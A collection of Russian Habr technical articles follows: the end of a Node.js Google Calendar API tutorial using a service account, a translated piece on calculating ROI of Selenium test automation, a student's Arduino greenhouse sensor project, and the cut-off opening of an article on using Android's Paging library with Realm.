"private_key_id": "4ec17ea5f8b606e0535a0623a110111123fd3c33",
"private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n",
"client_email": "nodejs-app@habr-demo-293107.iam.gserviceaccount.com",
"client_id": "102219376121816220804",
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://oauth2.googleapis.com/token",
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/nodejs-app%40habr-demo-293107.iam.gserviceaccount.com"
}
```
В консоли API у приложения "*Habr Demo*" появляется новый сервис с email'ом "*nodejs-app@habr-demo-293107.iam.gserviceaccount.com*":
Код
---
Для подключения к API из nodejs-приложения Google предлагает библиотеку [googleapis](https://github.com/googleapis/google-api-nodejs-client) и [обзор её использования](https://developers.google.com/calendar/quickstart/nodejs). В обзоре применяется OAuth2-аутентификация и получение из календаря списка событий, а нам нужна аутентификация по ключу в [соответствующих scope'ах](https://developers.google.com/calendar/auth#OAuth2Scope) и [добавление события](https://developers.google.com/calendar/v3/reference/events/insert#node.js) в календарь. Поэтому код получается примерно такой:
```
const fs = require('fs');
const {google} = require('googleapis');
const CALENDAR_ID = 'c093hr4fqjuj5k9e6uvvac73ac@group.calendar.google.com';
const KEYFILE = 'Habr Demo-4ec17ea5f8b6.json'; // path to JSON with private key been downloaded from Google
const SCOPE_CALENDAR = 'https://www.googleapis.com/auth/calendar'; // authorization scopes
const SCOPE_EVENTS = 'https://www.googleapis.com/auth/calendar.events';
(async function run() {
// INNER FUNCTIONS
async function readPrivateKey() {
const content = fs.readFileSync(KEYFILE);
return JSON.parse(content.toString());
}
async function authenticate(key) {
const jwtClient = new google.auth.JWT(
key.client_email,
null,
key.private_key,
[SCOPE_CALENDAR, SCOPE_EVENTS]
);
await jwtClient.authorize();
return jwtClient;
}
async function createEvent(auth) {
const event = {
'summary': 'Habr Post Demo',
'description': 'Тест для демонстрации интеграции nodejs-приложения с Google Calendar API.',
'start': {
'dateTime': '2020-10-20T16:00:00+02:00',
'timeZone': 'Europe/Riga',
},
'end': {
'dateTime': '2020-10-20T18:00:00+02:00',
'timeZone': 'Europe/Riga',
}
};
let calendar = google.calendar('v3');
await calendar.events.insert({
auth: auth,
calendarId: CALENDAR_ID,
resource: event,
});
}
// MAIN
try {
const key = await readPrivateKey();
const auth = await authenticate(key);
await createEvent(auth);
} catch (e) {
console.log('Error: ' + e);
}
})();
```
Запускаем код на выполнение и получаем ответ от Calendar API:
```
{
...
"status": 404,
"statusText": "Not Found",
...
}
```
что и логично - наш новый календарь ничего не знает про наш новый сервис.
Настройка доступа сервиса к календарю
-------------------------------------
Заходим в наш календарь, созданный ранее, и в настройках жмём "**Доступ для отдельных пользователей**", затем "**Добавить пользователей**" и вводим email-адрес нашего сервиса, который будет создавать события в нашем календаре:
После предоставления сервису доступа к календарю нужно настроить права:
Выбираем "**Внесение изменений и предоставление доступа**", иначе будем иметь ошибку "*You need to have writer access to this calendar.*" при обращении к API:
Запускаем наш скрипт на выполнение ещё раз и фиксируем результат в календаре:
В коде я задавал время старта события в 16:00:
```
'start': {
'dateTime': '2020-10-20T16:00:00+02:00',
'timeZone': 'Europe/Riga',
}
```
a по факту событие запланировано на 17:00, что вполне соответствует духу IT:
> В программировании существует лишь два характерных затруднения: инвалидация кеша, наименование сущностей и ошибка на единицу
>
>
Резюме
------
Вот и всё, квест пройден. Хэппи, как говорится, кодинг.
Ссылки
------
* [Google Calendar API Reference](https://developers.google.com/calendar/v3/reference)
* [API Console](https://console.developers.google.com/apis/dashboard)
* [google-api-nodejs-client](https://github.com/googleapis/google-api-nodejs-client)
* [Node.js Quickstart](https://developers.google.com/calendar/quickstart/nodejs)
* [Authorization scopes](https://developers.google.com/calendar/auth#OAuth2Scope) | https://habr.com/ru/post/524240/ | null | ru | null |
# Как посчитать ROI от автоматизации тестирования с Selenium?
*Перевод статьи подготовлен специально для студентов курса [«Python QA Engineer»](https://otus.pw/8Iwa/)*
---
Кроссбраузерное тестирование – это именно тот тип тестирования, который требует большого количества сил и времени. Тестирование веб-приложения в различных браузерах, на различных операционных системах, устройствах, разрешениях экрана для того, чтобы оценить рендеринг вашего сетевого контента для обширной аудитории – серьезная задача. Особенно, если заниматься этим вручную. Автоматизированное кроссбраузерное тестирование с помощью Selenium поможет сэкономить время на рутинных действиях и сократить время регрессионного тестирования. Однако люди не любят перемены. Если в вашей организации популярно ручное тестирование, у руководства, вероятно, возникнут вопросы, когда вы предложите внедрить автоматизацию тестирования.
Автоматизация тестирования, хотя и крайне выгодное мероприятие, но потенциально дорогостоящее. Стоит ли игра свеч? Это один из вопросов, с которым вы можете столкнуться, когда будете убеждать высшее руководство. По мере разработки веб-приложения, вам будет необходимо предоставить эффективный *коэффициент окупаемости инвестиций* (ROI) от автоматизации тестирования с Selenium, подчеркнув преимущества такой автоматизации для [кроссбраузерного](https://www.lambdatest.com/selenium-automation) тестирования веб-приложений, а именно ускорение работы и уменьшение ручного труда.
В этой статье мы обсудим различные метрики для оценки ROI от автоматизации тестирования с Selenium, а также методы расчета ROI, начиная с основ и заканчивая продвинутыми методами.
Показатели для оценки ROI от автоматизации тестирования с помощью Selenium
==========================================================================
Вы, как и члены вашей команды, можете отобрать определенные показатели и измерения, которые помогут вам проанализировать ROI от автоматизации тестирования с помощью Selenium, поскольку вы планируете начинать автоматизированное тестирование вашего веб-приложения с нуля. В разных организациях показатели могут отличаться. Почему? Это вопрос приоритетов, поскольку есть различные показатели, такие как количество обнаруженных дефектов (ошибок), затраты времени и покрытие тестами, которые напрямую влияют на риски, стоимость, качество и график поставки вашего продукта. Некоторые организации могут отдавать приоритет количеству обнаруженных дефектов, поскольку они полагают, что количество перетекает в качество. Некоторые думают иначе, поскольку для них основополагающее значение имеет именно качество. Что выбираете вы? Как вы считаете, что важнее: качество или количество? Можете написать свои мысли в комментариях.
Что ж, теперь определение ключевых показателей для расчета ROI от автоматизации тестирования с помощью Selenium будет иметь для вас решающее значение, поскольку их необходимо определить до того, как вы вступите в дискуссию с высшим руководством.
Область автоматизации тестирования с Selenium
=============================================
Хорошо известно, что нельзя полностью автоматизировать тестирование. Насколько вы сможете автоматизировать кроссбраузерное тестирование – это вопрос сложный. Если вы решились внедрять автоматизированное кроссбраузерное тестирование для своего веб-приложения, вам придется определиться с приоритетами, то есть с тем, какие браузеры и операционные системы должны охватывать тесты. Вы в любом случае не сможете охватить все сценарии. Общее количество возможных сценариев может исчисляться сотнями или тысячами тестов. Если ваш сценарий автоматизации будет занимать много времени, то это неминуемо скажется в худшую сторону на общем количестве времени, которое вы будете тратить каждый день на тестирование вашего веб-приложения или веб-сайта.
Короче говоря, вам предстоит сравнить общее количество автоматизированных тест-кейсов и количество тест-кейсов, в которых вы можете применить автоматизацию.
В случае, если вы хотите сократить время выполнения сложных наборов тестов, вы можете использовать параллельное тестирование с помощью [Selenium Grid](https://www.lambdatest.com/blog/speed-up-automated-parallel-testing-in-selenium-with-testng/). Таким образом, вы сможете выполнять несколько тестовых сценариев одновременно. Однако здесь вам предстоит подумать о том, сколько одновременных или параллельных сессий будет достаточно, чтобы удовлетворять заданным требованиям. Вы можете посчитать это с помощью [concurrency calculator](https://www.lambdatest.com/concurrency-calculator/).
Улучшение этого показателя означает, что команды могут быстро найти ошибку и устранить ее, что приводит к понижению рисков и повышению ROI от автоматизации тестирования с Selenium.
Сколько времени вы сэкономите?
==============================
Для Agile характерны недельные и двухнедельные спринты и частое изменение требований. В таких условиях возрастает важность регрессионного тестирования. Внедрение автоматизированных регрессионных тестов сократит время, необходимое на проведение такого тестирования. Так увеличится количество времени на разработку или проработку другого спринта. Экономия времени является приоритетом для каждой организации, в особенности для стартапов, которым необходимо быстро масштабировать свое веб-приложение. Является ли время одним из ваших интересов при оценке ROI от автоматизации тестирования?
Пропускная способность ваших ресурсов
=====================================
Мы знаем, что автоматизация тестирования с помощью Selenium поможет вам быстро выпустить на рынок свое веб-приложение. Однако ни одна организация не предпочтет, чтобы ее сотрудники сидели без дела большую часть времени, в ожидании, когда отработает сценарий. Расчет ROI требует тщательного анализа усилий, прилагаемых каждым тестировщиком в вашей команде.
Инвестиционный бюджет ресурсов и инструментов
=============================================
Автоматизация тестирования экономит время и усилия. Однако, это предполагает компромисс с ценообразованием. Вам нужно подумать о том, какое количество бюджета вы можете израсходовать на поддержание инструментария для проведения автоматизированного тестирования.
Общее количество дефектов
=========================
Общее количество дефектов, обнаруженных после каждого цикла регрессионного тестирования дает представление о качестве продукта и о том, насколько эффективным является автоматизированное тестирование для данного конкретного продукта.
Определение правильного ROI для автоматизированного тестирования
================================================================
В зависимости от количества циклов регрессии, которые должны быть выполнены в течение жизненного цикла проекта, ROI может принять положительное значение. Обычно ROI рассчитывается по следующей формуле:
```
ROI = (Стоимость Ручного Тестирования – Стоимость Автоматизированного Тестирования) / Стоимость Автоматизированного Тестирования
```
Однако с приходом на рынок Agile и DevOps классический метод больше не работает. Кроме того, такое измерение нереалистично, поскольку количество ручных тестов не сможет совпадать с количеством автоматизированных. Расчет правильного значения ROI от автоматизации тестирования в случае с применением Selenium на основе количества не является предпочтительным, однако его все еще используют.
Качество дефектов
=================
Это, на мой взгляд, очень важный показатель для расчета ROI от автоматизации тестирования с Selenium. Я считаю, что весь смысл автоматизации тестирования заключается в том, чтобы не убирать необходимость в ручных тестировщиках в проекте. Смысл автоматизации заключается в том, чтобы сократить время, затрачиваемое тестировщиком на проведение тестов, в условиях его плотного расписания, таким образом, чтобы тестировщик мог придумать применение большему количеству готовых тест-кейсов. Улучшение качества тест-кейсов, безусловно, поможет улучшить ваше веб-приложение.
Общие ошибки при расчете ROI от автоматизированного тестирования
================================================================
Несмотря на то, что расчет ROI включает в себя базовый расчет с использованием простой формулы, могут возникнуть ошибки, если вы пропустите некоторые важные параметры. Давайте обсудим некоторые распространенные ошибки, которые люди допускают при расчете ROI.
[источник](https://www.cartoonstock.com/directory/r/return_on_investment.asp)
Вы же не игнорируете ручное тестирование полностью, не так ли?
==============================================================
Одной из самых распространенных ошибок является использование показателей только автоматизированного тестирования. Ручное тестирование всегда будет иметь особое значение. Когда мы говорим о кроссбраузерном тестировании, мы понимаем, что некоторые сценарии можно автоматизировать, но есть моменты, когда нужно взаимодействовать с веб-приложением в реальном времени, занимаясь кроссбраузерным тестированием вручную. Поскольку визуальные дефекты, например, легче обнаружить вручную, чем запускать автоматизированный сценарий. Такие вещи, как привлекательность внешнего вида сайта при отображении в различных браузерах или корректность работы навигационного меню, всегда проверяются вручную. Если вы попробуете автоматизировать тесты такого рода, они не принесут прироста ROI. Даже если вы не считаетесь с «ручным трудом», вам все равно придется учитывать выделенное на это время и деньги.
Представляйте себе общую картину
================================
При измерении ROI от автоматизации тестирования с Selenium необходимо рассматривать более длительный отрезок времени. Проверка того, как определенная методология тестирования приносит пользу организации в течение короткого времени, не всегда дает полную картину. Вы должны узнать, как она повлияет на организацию и на команду в долгосрочной перспективе. Вместо того, чтобы брать месяцы, думайте о том как изменится ROI за 3-5 лет. Например, стоит ли применить в вашей практике [shift-left тестирование](https://www.lambdatest.com/blog/how-shift-left-testing-can-help-your-product-quality/)? Shift-left тестирование – методология, которая сфокусирована на выполнении тестирования как можно скорее, начиная с этапа сбора требований. Идея заключается в том, чтобы задумываться об ошибках заранее и находить их как можно раньше, потому как считается, что ошибка, найденная на более позднем этапе жизненного цикла разработки системы, будет дороже, чем ошибка, которая была найдена на начальных этапах.
Вы оценили возможности вашей организации?
=========================================
Необходимо сопоставить возможности вашей организации со стеком средств автоматизации тестирования. Для успешной реализации стратегии автоматизированного тестирования требуются как знания продукта, так и знания в области автоматизации. Ваша команда должна иметь четкое представление о том, как использовать предполагаемое средство автоматизации, а также о том, как работает приложение.
Поддержка тестов – это важно
============================
Поддержка тестов – это еще один фактор, который люди, как правило, упускают из виду при измерении ROI от автоматизации тестирования. Если вы используете Selenium для автоматического кроссбраузерного тестирования, то после успешной реализации вашей стратегии необходимо будет регулярно обновлять и поддерживать тест-кейсы. Набор регрессии и тест-кейсы начнут расти в количестве по мере добавления новых страниц, расширения или обновления функций веб-приложения. Обеспечение удобства использования этих тестовых наборов в течение более длительного периода времени потребует регулярной поддержки.
Отсутствие документации надлежащего качества
============================================
Это достаточно распространенная ошибка, и не только с точки зрения автоматизации, но и с точки зрения управления. Документация должна отражать стандарты организации. Когда тестировщик пишет тестовый сценарий, он должен подготовить документ, объясняющий назначение сценария и принцип его работы. Общая база знаний должна быть доступна всем внутри организации и включать в себя документацию по каждому сценарию автоматизации, использующемуся в вашей организации. Такая база знаний послужит надежной опорой любому новичку в вашей команде. Также она поможет устранить проблемы, которые неизбежно возникают в отсутствие «старшего» по проекту или при уходе ценного тестировщика в другую компанию. Поэтому в следующий раз, когда будет рассчитывать ROI от автоматизации тестирования, убедитесь, что учли количество усилий, требуемых на поддержании одной такой базы знаний для внутренних сотрудников.
Что делать, чтобы увеличить ROI от автоматизации тестирования с Selenium
========================================================================
На данный момент мы осознаем распространенные ошибки и знаем показатели для расчета ROI от автоматизации тестирования. Что же дальше? Выполнение. Как найти наилучший способ получить максимальный ROI от автоматизации тестирования с помощью Selenium? Что ж, вот несколько примечательных практик, которые помогут вам получить максимальную выгоду от автоматизации тестирования.
Внедрение автоматизации для новых тестов
========================================
Это очень важный фактор, особенно если вы переходите от ручного тестирования к автоматизированному. Предположим, вы вводите в своей организации использование Selenium WebDriver для автоматического кроссбраузерного тестирования.
* Вычислите количество тест-кейсов, которые необходимо автоматизировать;
— А теперь проверьте, какие из них действительно нужно автоматизировать, а какие лучше выполнять вручную;
— Не меняйте тест-кейсы таким образом, чтобы их можно было автоматизировать! Есть некоторые вещи, которые необходимо проверять вручную;
* Рассчитайте почасовую стоимость работы тестировщика, выполняющего тест-кейсы;
* Если некоторые тестировщики не имеют опыта автоматизации, рассчитайте стоимость обучения.
Приоритет процесса автоматизации новых тест-кейсов
==================================================
Мы все знаем, что регрессионное тестирование всегда находится в приоритете, особенно когда речь идет о визуальном регрессионном тестировании веб-приложения в различных браузерах для проверки [кроссбраузерной совместимости](https://www.lambdatest.com/feature).
Регрессионное тестирование в основном включает в себя повторное выполнение старых тест-кейсов, чтобы убедиться, что новые функции, которые были добавлены, не повлияли на работу старого функционала и не вызвали новых ошибок. Со временем, когда ваши веб-приложения вырастут архитектурно и функционально, отслеживание прогресса регрессионного тестирования вручную окажется дорогостоящим. Внедрение [автоматизированного визуального регрессионного тестирования](https://www.lambdatest.com/smart-visual-ui-testing) имеет смысл в том случае, если вы хотите сэкономить.
* При расчете ROI предполагайте, что каждый новый тест-кейс скоро станет частью регрессионного тестирования. Относитесь к ним как к части стратегии вашего регрессионного тестирования.
* Рассортируйте тест-кейсы по сложности и проверьте, какие из них можно автоматизировать.
* Как было сказано ранее, учитывайте затраты на поддержание старых тестов.
Почти 100% покрытие тестами в условиях различных конфигураций тестов для браузеров и ОС
=======================================================================================
Основной целью автоматизации тестирования является повышения качества вашего приложения. При расчете ROI также следует учитывать, что количество способов просмотра веб-сайта увеличивается каждый день. На рынке существуют сотни браузеров и устройств, на которых люди могут просматривать ваше веб-приложение, и их число постоянно растет. Определите для себя [матрицу тестирования совместимости с браузерами](https://www.lambdatest.com/blog/creating-browser-compatibility-matrix-for-testing-workflow/).
Рекомендации по увеличению коэффициента охвата
==============================================
Вы можете увеличить покрытие тестами, выполняя smoke-тесты, юнит-тесты, регрессионные тесты, которые укажут на источник ошибок.
*Юнит-тесты.* Юнит-тесты составляют самый большой процент тестов при тестировании вашего веб-приложения. Всегда имеет смысл использовать параллельный механизм их выполнения, чтобы сэкономить время.
*Smoke-тесты.* Параллельное выполнение smoke-тестов – это лучший способ покрыть тест-кейсы при отправке хотфиксов в приложение. Автоматизированные smoke-тесты – хороший способ ежедневного тестирования для вашего веб-приложения.
*Регрессионные тесты.* В век Agile быстрая разработка требует все больше и больше регрессионных тестов, в особенности для контроля версий. Выполнение параллельных регрессионных тестов гарантирует, что каждая следующая сборка будет работать точно так же, как и предыдущая, что позволит умещать проведение тестов в значительно меньший промежуток времени.
*Помните про defect leakage (утечку дефектов)* – количество ошибок, которые случаются во время производственного цикла, в следствии того, что они не были обнаружены на более ранних этапах тестирования. Такое может случиться из-за слабого функционального покрытия тестами или плохой среды тестирования.
Попробуйте использовать методику тестирования *shift-left*. Она подразумевает под собой вовлечение тестировщиков в разработку. Разработчики тоже участвуют в нем, выполняя юнит-тесты после окончания разработки определенного модуля. Основная идея заключается в том, чтобы найти ошибку до того, как она себя покажет, и в итоге снизить ее стоимость.
Выясните количество повторяющихся и избыточных тест-кейсов
==========================================================
Дублирование тест-кейсов является важным фактором, который может привести к увеличению бюджета на тестирование. Нет смысла снова разрабатывать те тест-кейсы, которые вы уже использовали ранее для другого модуля. Повторное использование тест-кейсов приводит к ускорению тестирования.
Расчет стоимости включает в себя:
* количество повторяющихся тестов;
* тест-кейсы, имеющие повторяющиеся компоненты;
* время, необходимое на обнаружение и создание всех этих избыточных тест-кейсов;
* расчет стоимости использования инструмента управления тест-кейсами.
Рекомендации по уменьшению избыточности:
* Используйте средство управления тест-кейсами для поиска повторяющихся сценариев. Вы можете использовать эти инструменты для хранения тестов с изменяемыми полями, которые позже можно будет модифицировать под ваши нужды. Использование такого инструмента поможет быстро обнаружить избыточность.
* Вы также можете разработать модульные тестовые сценарии, которые можно повторно использовать в будущем. Выделите тесты, которые выполняются чаще всего. Например, функционал входа и выхода из системы. Для проверки корректной работы этих функций вам нужно провести определенный спектр тестов. Разработайте модульный тест-кейс, который можно будет использовать для каждой из множества вариаций входа и выхода из системы.
Выполняйте автоматизированное кроссбраузерное тестирование с помощью Selenium Grid On-Cloud без проблем
=======================================================================================================
Императивная область расчета ROI от автоматизации тестирования с Selenium лежит вокруг метода выполнения. Selenium, как известно, является открытым фреймворком для автоматизации тестирования, предназначенным для облегчения тестирования веб-приложений. Вы можете проводить автоматизированное тестирование с помощью Selenium либо локально, либо с применением одного из облачных инструментов, предложенных Selenium Grid.
Когда вы выполняете автоматизированное тестирование с Selenium в своей собственной инфраструктуре, вам нужно учитывать бюджет для масштабирования вашего тестового набора. Как вы будете внедрять новые устройства? Новые версии браузера? Для поддержки параллельного выполнения вашему компьютеру потребуются значительные мощности. Однако, если вы выполняете тестирование с помощью [Selenium Grid в облаке](https://www.lambdatest.com/selenium-automation), вы можете проводить масштабирование, в соответствии с требованиями к проекту.
Сам по себе Selenium не предоставляет инструмента для составления отчетов. Отчеты по тестам можно получать с помощью фреймворков автоматизации тестирования на основе используемого языка. Если вы используете Selenium Grid от LambdaTest, вы можете получить отчеты через наш [открытый Selenium API](https://www.lambdatest.com/blog/lambdatest-launches-api-for-selenium-automation/).
Еще одно ключевое отличие между этими двумя методами заключается в параллельном тестировании. С помощью Selenium Grid на вашей локальной машине вы можете запускать тест-кейсы только в браузерах, установленных на этой машине. Однако если вы используете облачный Selenium Grid, как, например, LambdaTest, вы можете провести тестирование на более чем 2000 реальных браузерах и их версиях.
#### [LambdaTest – это облако для кроссбраузерного тестирования, в котором вы можете параллельно запускать несколько тест-кейсов Selenium на нескольких комбинациях из устройств и браузеров, что снижает затраты на создание собственной «лаборатории» для кроссбраузерного тестирования и тестирования на различных устройствах.](https://www.lambdatest.com/landing-text-cta)
Помните, что при неправильном выполнении параллельного тестирования сохраняется риск утечки дефектов. Чем раньше вы обнаружите ошибку, тем легче ее исправить.
Продвинутые методы расчета ROI
==============================
Теперь, когда мы познакомились с основами, пора поговорить о продвинутых методах, используемых для расчета ROI.
Эффективный ROI
===============
[источник](https://www.cartoonstock.com/directory/r/return_on_investment.asp)
Поскольку автоматизированные тест-кейсы могут выполняться в течение всего дня, расчет ROI ведется в днях. С другой стороны, при ручном тестировании учитывается только время работы тестировщика, которое в среднем составляет 8 часов в день. Формула, которая является основой расчета ROI:
* (a) Время разработки тестового сценария для автоматизации = (Время автоматизации одного теста в часах `*` Количество тест-кейсов для автоматизации `*` Период ROI) / 8
* (b) Время выполнения автоматизированного тестового сценария = (Время выполнения автоматизированного тестирования на один тест `*` Количество тест-кейсов для автоматизации `*` Период ROI) / 18
* (*c*) Время анализа автоматизированного теста = (Время анализа теста `*` Период ROI) / 8
* (d) Время на обслуживание автоматизированного теста = (Время обслуживания `*` Период ROI) / 8
* (e) Время выполнения вручную = (Время выполнения теста вручную `*` Количество ручных тест-кейсов `*` Период ROI) / 8
**Примечание:* Период окупаемости инвестиций (Период ROI) – это количество недель, для которого должен быть рассчитан ROI, деленное на 8, встречается везде, где учитывается ручной труд. Деление на 18 происходит везде, где применяется автоматизация.*
При расчете эффективности основное внимание уделяется тому, насколько эффективным является автоматизированное тестирование для организации. Денежный фактор считается второстепенным, поэтому почасовую оплату работы тестировщика включать не обязательно.
ROI для снижения риска
======================
Здесь предполагается самостоятельный расчет преимуществ автоматизации. Мы снова возьмем пример с кроссбраузерным тестированием и использованием WebDriver, чтобы понять, как это работает. Во время ручного тестирования вся команда тратила много времени на выполнение одних и тех же действий раз за разом в нескольких браузерах. После внедрения автоматизации у тестировщиков появляется много дополнительного времени для выполнения продуктивной работы, такой как разработка тест-кейсов, анализ приложения и т.д. Короче говоря, ROI для снижения риска решает проблемы, которые ранее даже не поднимались.
С внедрением автоматизации, покрытие тестами увеличивается. Полная зависимость от ручного тестирования приведет с ненужным ошибкам, которые могут проявиться уже на продакшене. Это приведет к снижению качества продукта и эффективности тестирования. Такая возможная потеря считается риском. Нет никаких изменений в стоимости инвестиций. Рассчитываются только денежные потери, с которым организация может столкнуться не внедрив автоматизацию.
Это только обертка! *(ориг. It’s A Wrap!)*
==========================================
Спасибо, что прочитали, я надеюсь, что вы почерпнули необходимые знания и полезную стратегию для убеждения руководства с помощью ROI от автоматизации тестирования с Selenium. Не совершайте ошибку, думая, что ROI – это просто сравнение времени и денег, потраченных на тестирование веб-приложения вручную и на автоматизированное тестирование. Есть множество факторов, которые необходимо учитывать, и каждый из них имеет свои преимущества и недостатки. Кроме того, ROI не может быть рассчитан одной единственной формулой. Существует несколько методов, а необходимый вам нужно будет выбрать в зависимости от требования вашей организации и вашего проекта. Удачи в тестировании! | https://habr.com/ru/post/461257/ | null | ru | null |
# Система управления микроклиматом теплицы
#### Начало пути
Одним солнечным деньком, придя в универ, я узнал, что в этом семестре у меня курсовой по схемотехнике. Преподаватель предлагал сделать только пояснительную записку «как реализовать проект» или же познать темную сторону инженерии и создать реальное устройство. А так, как я был уже на 4ом курсе, и вспомнив, что единственный раз когда я применял на практике свои навыки инженера был на первом курсе (прикрутил к стене книжную полку), я решил «поработать ручками». После недолгих размышлений, мною была выбрана тема «Система управления микроклиматом теплицы». Скорее всего на выбор повлияла моя любовь к автоматизации процессов, или же то, что я и сам занимался разведением огурцов в теплицах. Но не будем долго тянуть — начинаем.
#### Поиски материалов
От друзей и преподавателя услышал о платформе Arduino. Немного почитав про ардуинку и посмотрев пару реализованных проектов, желание создать что-нибудь свое стало еще больше. Для реализации проекта решил использовать Arduino Nano v3. Оригинал стоил чуть больше 20$, за копию отдал 10. Конечно дешевле было бы заказать на Aliexpress, но у меня не было ни времени, ни желания ждать целый месяц — хотелось начать немедленно.
C платой микроконтроллера определился и самое время решить, какие мне нужны датчики. Немного поразмышляв, решил в первый раз не делать что-то масштабное (как я люблю говорить «краткость — сестра таланта») и ограничиться тремя основными составляющими микроклимата теплицы — температура, освещенность и влажность почвы. Разберем все по порядку:
1. ###### Датчик температуры
Немного погуглив, решил остановиться на датчике DHT11. И как оказалось в нем помимо измерения температуры есть еще и возможность измерения влажности воздуха (как я уже говорил «чем больше — тем лучше»).
Датчик имеет следующую распиновку:
1. 5V
2. Чтение данных
3. Не используется
4. Земля
Диапазон измерений:
* Температуры — 0 — 50°C ± 2°C
* Влажности воздуха — 20 — 95% ± 5%
Подключаем по следующей схеме:
```
// подключаем библиотеку
#include
// создаём объект-сенсор
DHT sensor = DHT();
void setup()
{
Serial.begin(9600);
// методом attach объявляем к какому контакту подключен
// сенсор. В нашем примере это нулевой аналоговый контакт
sensor.attach(A1);
//
// после подачи питания ждём секунду до готовности сенсора к работе
delay(1000);
}
void loop()
{
// метод update заставляет сенсор выдать текущие измерения
sensor.update();
switch (sensor.getLastError())
{
case DHT\_ERROR\_OK:
char msg[128];
// данные последнего измерения можно считать соответствующими
// методами
sprintf(msg, "Temperature = %dC, Humidity = %d%%",
sensor.getTemperatureInt(), sensor.getHumidityInt());
Serial.println(msg);
break;
case DHT\_ERROR\_START\_FAILED\_1:
Serial.println("Error: start failed (stage 1)");
break;
case DHT\_ERROR\_START\_FAILED\_2:
Serial.println("Error: start failed (stage 2)");
break;
case DHT\_ERROR\_READ\_TIMEOUT:
Serial.println("Error: read timeout");
break;
case DHT\_ERROR\_CHECKSUM\_FAILURE:
Serial.println("Error: checksum error");
break;
}
delay(2000);
}
```
2. ###### Датчик освещенности
Очень простой датчик, состоящий из компаратора LM393 и фоторезистора. Все пины подписаны, и не нуждаются в разъяснении.
```
int sensorPin = A0; // устанавливаем входную ногу для АЦП
unsigned int sensorValue = 0; // цифровое значение фоторезистора
void setup()
{
pinMode(13, OUTPUT);
Serial.begin(9600); // старт последовательного вывода данных (для тестирования)
}
void loop()
{
sensorValue = analogRead(sensorPin); // считываем значение с фоторезистора
if(sensorValue<500) digitalWrite(13, HIGH); // включаем
else digitalWrite(13, LOW); // выключаем
// Для отладки раскомментируйте нижеследующие строки
//Serial.print(sensorValue, DEC); // вывод данных с фоторезистора (0-1024)
//Serial.println(""); // возврат каретки
//delay(500);
}
```
3. ###### Датчик влажности почвы
Особенностью данного датчика является возможность чтения данных как в цифровом (0 или 1), так и в аналоговом. Я буду использовать цифровой вывод. Для извлечения значения достаточно строки:
```
Value = analogRead(A2); // считываем значение с датчика влажности почвы
```
С датчиками определился. Самое время подумать о красивом корпусе. Пошарив по волнам интернета нашел вот этого красавца и решил: мой курсач будет в нем.
Но т.к. в нем есть отверстие под дисплей, у меня не осталось выбора как «добавить» в курсовую индикацию с помощью дисплея. Мною было принято решение использовать простой в обращении lcd 1602:
Разбираясь, как он работает натолкнулся на очень [хорошую статью](http://robocraft.ru/blog/arduino/503.html), где все подробно описано. Все пины подключал по примеру в статье. Код также прилагается.
В качестве источника питания использую крону на 9В. С материалами покончено. Приступаем к разработке.
#### Разработка
Зная как работает каждый элемент отдельно, не составляет труда собрать все в единое целое, что я и сделал. После нескольких часов первой пайки получилось что вроде этого:
Датчики сделал отдельно от основного корпуса:
Буду рад любой критике. | https://habr.com/ru/post/388837/ | null | ru | null |
# Использование Paging library совместно с Realm
На одном из митингов Android-отдела я подслушал, как один из [наших](http://magora-systems.com) разработчиков сделал небольшую либу, которая помогает сделать «бесконечный» список при использовании Realm, сохранив «ленивую загрузку» и нотификации.
Сделал и написал черновик статьи, которой почти в неизменном виде, делюсь с вами. Он со своей стороны пообещал, что разгребётся с задачами и придёт в комментарии, если возникнут вопросы.
Бесконечный список и готовые решения
------------------------------------
Одна из задач, с которой мы сталкиваемся — отобразить информацию списком, при прокручивании которого, данные подгружаются и вставляются незаметно для пользователя. Для пользователя это выглядит так, что он скроллит бесконечный список.
Алгоритм получается примерно следующий:
* получаем данные из кэша для первой страницы;
* если кэш пуст — получаем данные сервера, отображаем их в списке и пишем в БД;
* если кэш есть — загружаем его в список;
* если доходим до конца БД, то запрашиваем данные с сервера, отображаем их в списке и пишем в БД.
Упрощённо: для отображения списка в первую очередь опрашивается кэш, а сигналом загрузки новых данных является конец кэша.
Для реализация бесконечной прокрутки (endless scrolling) можно использовать готовые решения:
* реализацию RecyclerView.OnScrollListener, или найти на Github что-нибудь готовое, вроде [EndlessRecyclerViewScrollListener](https://gist.github.com/rogerhu/d041b6467536842aa986);
* [реактивный подход](https://github.com/matzuk/PaginationSample), используя RxJava для контроля подгрузки данных;
* [готовую реализацию списка](https://github.com/cymcsg/UltimateRecyclerView);
* [Paging library из Jetpack](https://developer.android.com/topic/libraries/architecture/paging/).
Мы в качестве мобильной базы данных используем [Realm](https://realm.io), и, попробовав все перечисленные подходы, остановились на использовании Paging library.
На первый взгляд Android Paging Library — отличное решение для загрузки данных и при использовании sqlite совместно с Room отлично подходит в качестве БД. Однако, при использовании Realm в качестве БД мы лишаемся всего, к чему так привыкли — ленивой загрузки (lazy loading) и [data change notifications](https://realm.io/docs/java/latest/#notifications). Нам же не хотелось отказываться от всех этих вещей, но в то же время использовать Paging library.
Может быть, мы не первые, кому это нужно
----------------------------------------
Быстрый поиск сразу выдал решение — библиотеку [Realm monarchy](https://github.com/Zhuinden/realm-monarchy). После беглого изучения выяснилось, что это решение нас не устраивает — библиотека не поддерживает ни ленивую загрузку, ни notifications. Пришлось создавать своё.
Итак, требования:
1. Продолжить использовать Realm;
2. Сохранить lazy loading для Realm;
3. Сохранить notifications;
4. Использовать Paging library для загрузки данных из БД и постраничной загрузки данных с сервера, так же, как это предлагает Paging library.
С начала попробуем разобраться, как работает Paging library, и что сделать, чтобы нам было хорошо.
Кратко — библиотека состоит из следующих компонентов:
**DataSource** — базовый класс для загрузки данных постранично.
Имеет реализации: PageKeyedDataSource, PositionalDataSource и ItemKeyedDataSource, но их предназначение сейчас нам не важно.
**PagedList** — список, который подгружает данные порциями из источника DataSource. Но так как мы используем Realm — загрузка данных порциями для нас не актуальна.
PagedListAdapter — класс, ответственный за отображение данных, загруженных PagedList.
В исходниках эталонной реализации мы увидим, как работает схема.
1. PagedListAdapter в методе getItem(int index) вызывает для PagedList метод loadAround(int index):
```
/**
* Get the item from the current PagedList at the specified index.
*
\* Note that this operates on both loaded items and null padding within the PagedList.
\*
